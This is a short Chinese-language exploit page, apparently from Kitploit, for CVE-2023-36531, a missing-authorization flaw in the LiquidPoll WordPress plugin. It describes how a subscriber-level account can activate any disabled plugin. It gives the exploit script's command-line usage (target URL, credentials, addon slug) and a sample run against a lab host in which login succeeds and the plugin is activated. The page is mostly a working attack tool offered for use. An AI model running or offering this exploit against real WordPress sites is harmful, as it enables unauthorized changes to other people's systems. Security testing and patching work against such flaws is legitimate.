CVE-2023-36531 — LiquidPoll – 面向创作者和品牌的高级投票系统 <= 3.3.68 - 通过 activate_addon 存在授权缺失漏洞 | Kitploit

CVE-2023-36531

LiquidPoll – 面向创作者和品牌的高级投票插件 <= 3.3.68 - 通过 activate_addon 缺失授权

信息

需要一个订阅者级别的用户，并且插件需要被禁用。这将激活你提供的插件。

用法

usage: CVE-2023-36531.py [-h] -w URL -u USERNAME -p PASSWORD -a ADDON

WordPress CVE-2023-36531 Exploit

options:
  -h, --help            显示此帮助信息并退出
  -w URL, --url URL     WordPress 站点的 URL
  -u USERNAME, --username USERNAME
                        你的 WordPress 用户名
  -p PASSWORD, --password PASSWORD
                        你的 WordPress 密码
  -a ADDON, --addon ADDON
                        插件 Slug

示例

python3 CVE-2023-36531.py -w http://wordpress.lan -u user -p useruser1 -a wp-polls
登录成功。
POST 请求发送成功。
插件已激活。